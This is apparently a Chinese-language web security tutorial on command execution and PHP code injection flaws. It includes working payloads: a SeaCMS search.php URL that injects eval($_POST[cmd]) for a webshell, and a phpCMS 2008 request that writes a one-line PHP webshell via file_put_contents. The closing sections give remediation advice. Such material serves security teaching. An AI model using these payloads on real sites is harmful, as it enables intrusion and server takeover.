命令执行漏洞

2023-04-01


0x01:命令执行漏洞简介

用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许使用者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码

 

0x02:命令执行 VS 代码执行

1. 命令执行漏洞:

    直接调用操作系统命令

2. 代码执行漏洞:

    靠执行脚本代码调用操作系统命令

命令执行原理:

   在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

代码执行原理:

  应用有时需要调用一些执行系统命令的函数,如PHP中的systemexecassertshell_execpassthrupopenproc_popen

escapeshellcmd、pcntl_exec等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行***,这就是命令执行漏洞。以上函数主要也在webshell中用的多,实际上在正常应用中差别不太大,用得最多的还是前三个。

 

0x03:命令执行漏洞利用条件

  应用调用执行系统命令的函数

  将用户输入作为系统命令的参数拼接到了命令行中

  没有对用户输入进行过滤或过滤不严

 

 

0x04:命令执行漏洞分类

1.代码层过滤不严

 商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函来调用:

system("/bin/program --arg$arg");

2.系统的漏洞造成命令注入

bash破壳漏洞(CVE-2014-6271)

3.调用的第三方组件存在代码执行漏洞

WordPress中用来处理图片的ImageMagick组件

JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy)

ThinkPHP命令执行

 

 

0x05:命令函数的利用

 1. Systemsystem函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:

 string system(string command, int&return_var)

其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。

 

 2. Execexec函数可以用来执行一个外部的应用程序

string exec (string command, array&output, int &return_var)

其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。

 

 

 3.Passthrupassthru函数可以用来执行一个UNIX系统命令并显示原始的输出,当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代systemexec函数。Passthru函数原型如下:

void passthru (string command, int&return_var)

其中,command是要执行的命令,return_var存放执行命令后的状态值。


 4. Shell_exec:执行shell命令并返回输出的字符串,函数原型如下:

string shell_exec (string command)

其中,command是要执行的命令。

 

 0x06:命令常见可控位置

常见可控位置情况有下面几种:

system("$arg"); //可控点直接是待执行的程序

system("/bin/prog $arg"); //可控点是传入程序的整个参数

system("/bin/prog -p $arg"); //可控点是传入程序的某个参数的值(无引号包裹)

system("/bin/prog --p=\"$arg\"");//可控点是传入程序的某个参数的值(有双引号包裹)

system("/bin/prog --p='$arg'"); //可控点是传入程序的某个参数的值(有单引号包裹)

  sys=ctypes.cdll.LoadLibrary('/lib64/libc.so.6')   
  
sys.system(cmd)

第一种情况

如果我们能直接控制$arg,那么就能执行执行任意命令了,没太多好说的。

第二种情况

我们能够控制的点是程序的整个参数,我们可以直接用&& || 或 | 等等,利用与、或、管道命令来执行其他命令(可以涉及到很多linux命令行技巧)。

还有一个偏门情况,当$arg被 escapeshellcmd处理之后,我们不能越出这个外部程序的范围,我们可以看看这个程序自身是否有“执行外部命令”的参数或功能,比如linux下的sendmail 命令自带读写文件功能,我们可以用来写webshell。

第三种情况

我们控制的点是一个参数,我们也同样可以利用与、或、管道来执行其他命令,情境与二无异。

第四种情况

这种情况压力大一点,有双引号包裹。如果引号没有被转义,我们可以先闭合引号,成为第三种情况后按照第三种情况来利用,如果引号被转义(addslashes),我们也不必着急。linux shell 环境下双引号中间的变量也是可以被解析的,我们可以在双引号内利用反引号执行任意命令 `id`

第五种情况

这是最难受的一种情况了,因为单引号内只是一个字符串,我们要先闭合单引号才可以执行命令。如:system("/bin/prog –p='aaa' | id")

危害自然不言而喻,执行命令可以读写文件、反弹shell、获得系统权限、内网***等。

在漏洞检测中,除了有回显的命令注入(比如执行dir 命令或者cat 读取系统文件);还可以使用盲打的方式,比如curl远程机器的某个目录(看access.log),或者通过dns解析的方式获取到漏洞机器发出的请求。


0x07:命令漏洞危害

 继承Web服务程序的权限去执行系统命令或读 - 写文件

 反弹shell

 控制整个网站甚至控制服务器

 进一步内网横向***


0x08:海洋cms实例

命令执行常用的函数,eval(),system(),proc_open()之类的,因此能执行php代码一般就是 eval() 函数

搜索一下这个页面有eval函数的地方

for($m=0;$m<$arlen;$m++){
           $strIf=$iar[1][$m];
           $strIf=$this->parseStrIf($strIf);
           $strThen=$iar[2][$m];
           $strThen=$this->parseSubIf($strThen);
           if (strpos($strThen,$labelRule2)===false){
                if(strpos($strThen,$labelRule3)>=0){
                   $elsearray=explode($labelRule3,$strThen);
                    $strThen1=$elsearray[0];
                    $strElse1=$elsearray[1];
                   @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
                    if ($ifFlag){$content=str_replace($iar[0][$m],$strThen1,$content);} else{$content=str_replace($iar[0][$m],$strElse1,$content);}
                }else{
               @eval("if(".$strIf.") { \$ifFlag=true;} else{\$ifFlag=false;}");
                if ($ifFlag)$content=str_replace($iar[0][$m],$strThen,$content); else$content=str_replace($iar[0][$m],"",$content);}

可以在这里下个断点,把变量打印出来

就可以清晰的看到就是在这执行了我们的命令

http://192.168.0.37search.php?searchtype=5&tid=&area=eval($_POST[cmd])

菜刀连接

0x09:命令执行漏洞常见绕过

0x10:命令执行漏洞防御

 1.尽量不要使用系统执行命令

 2.在进入执行命令函数方法之前,变量一定要做好过滤,对敏感字符进行转义

 3.在使用动态函数之前,确保使用的函数是指定的函数之一

 4.对PHP语言来说,不能完全控制的危险函数最好不要使用

二、代码注入

0x11、代码注入漏洞成因

当应用在调用一些能将字符串转化成代码的函数(如php中的eval)时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞。

几种常用语言,都有将字符串转化成代码去执行的相关函数,如:

  • PHP:eval、assert

  • Javascript:eval

  • Vbscript: Execute、Eval

  • Python:exec

  • Java:Java中没有类似php中eval 函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL等,这些都能造成代码执行漏洞

应用有时候会考虑灵活性、简洁性,在代码中调用eval之类的函数去处理。如phpcms中很常用的string2array 函数:

function string2array($data) {if($data == '') return array();@eval("\$array = $data;");return $array;}

PHP中能造成代码注入的主要函数: eval 、 preg_replace + /e模式 、assert

用的一般就是前两者,CMS中很少用到assert的,至于一些偏门函数就更少了,用的情况仅限于留后门。 常见用法也有如下一些:

  eval("\$ret = $data;"); 
  
eval("\$ret = deal('$data');"); 
  
eval("\$ret = deal("$data");"); 
  
preg_replace('/<data>(.*)</data>/e', '$ret = "\\1";'); 

preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['h']);
?>

第一个就是刚才之前说phpcms 的,通常$data不会直接来自POST或GET变量(要不也太水了),但通过一些二次漏洞很可能能够造出代码执行(如SQL注入)。 第二个是将$data使用一个函数(deal)处理后再赋值给$ret。那么,传参的方式就很重要了。第二个用的是单引号传参,那么我们只能先闭合单引号,之后才能注入代码。如果应用全局做了addslashes或GPC=on的话,就不能够注入代码了。 第三个与第二个类似,但使用的是双引号传参。双引号在代码中有个很重要的特性,它能解析其中的函数,如我们传入${phpinfo()},phpinfo将会被执行,而得到的返回值作为参数传入deal 函数。这个时候,我们就不用考虑闭合引号的事了。 第四个是preg_replace函数的误用,这种用法出现的情况是最多的,也是因为preg_replace第二个参数中,包裹正则结果\\1的是双引号,通过第三个中的方式,也能执行任意代码。
注意,第五个示例中包裹\\1 的可以是双引号或者单引号,都可以造成命令执行,提交 h=[php]phpinfo()[/php] 。

php curly syntax: ${`ls`} 它将执行花括号内的代码,并将结果替换回去。

0x12、phpCMS 2008 命令执行漏洞

index.php?userid=abc&menu=xxx

我们访问时填的 userid 在数据库是查找不到的,这样无法从数据库返回结果中 extract 出 $menu 变量的定义,在但最开始 程序会把 $_GET 获取到的参数都 extract 出来,这样的话 menu 变量的值可以由我们控制,

由于 $menu 不为空,如果 menu=phpinfo(); exit(); 内部执行 string2array 函数,

eval("\$arr=$data"); 时会 执行命令,即 eval("\$arr=phpinfo();exit();");

进一步地,我们可以将一句话***写成 webshell 文件放到网站服务器目录下

一句话*** <?php eval($_GET['func']($_GET['cmd'])); ?>

menu=file_put_contents('shell.php', ' <?php eval($_GET['func']($_GET['cmd'])); ?> ')

为了防止转义等导致命令执行不成功,可以用 ascii 码形式,即

index.php?userid=abc&menu=file_put_contents(CHR(115).CHR(104).CHR(101).CHR(108).CHR(108).CHR(42).CHR(112).CHR(104).CHR(112), ...);exit()

下次我们可以直接访问 shell.php?func=system&cmd=dir,执行php 代码 system(dir)

类似会造成变量覆盖的函数还有:import_request_variables(), parse_str() 等

0x13、代码注入绕过

0x14、OOB外带数据

0x15、代码注入修复方案

  • 能使用json 保存数组、对象就使用json,不要将php对象保存成字符串,否则读取的时候需要使用eval。将字符串转化为对象的过程其实是将数据转化为代码的过程,这个过程很容易出现漏洞,像php的unserialize 导致代码执行、struts2的ognl 命令执行等漏洞都是这个过程导致的。

  • 对于必须使用eval 的情况,一定要保证用户不能轻易接触eval 的参数(或用正则严格判断输入的数据格式)。对于字符串,一定要使用单引号包裹可控代码,并再插入前进行addslashes,这样就无法闭合单引号,又因为不是双引号包裹,故不能执行 ${} 。
    evil('${phpinfo()}')evil("phpinfo()") 等都不会执行, evil("${phpinfo()}")evil(phpinfo())evil(${@phpinfo()}) 都可以执行,因为双引号里面内容会被当作变量解析一次,函数前加 @ 表示执行函数时不报错。
    $data = addslashes($data);eval("\$data = deal('$data');");

  • 放弃使用preg_replace 的e修饰符,而换用 preg_replace_callback 替代。如果非要使用preg_replace的e模式的话,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹(第4个示例)。

  • 确保register_globals = off, 若不能自定义php.ini,则应该在代码中控制;其次,熟悉可能造成变量覆盖的函数和方法,检查用户是否能控制变量的来源;最后,养成初始化变量的好习惯。

  • 能够往本地写入的函数都需要重点关注,如 file_put_contents(), fwrite(), fputs() 等。

  • 在自动化漏洞检测中可以 直接带入类似 ";print(md5(test));$a=" ,匹配返回页面是否有 md5 字符串。

《命令执行漏洞.doc》

下载本文的Word格式文档,以方便收藏与打印。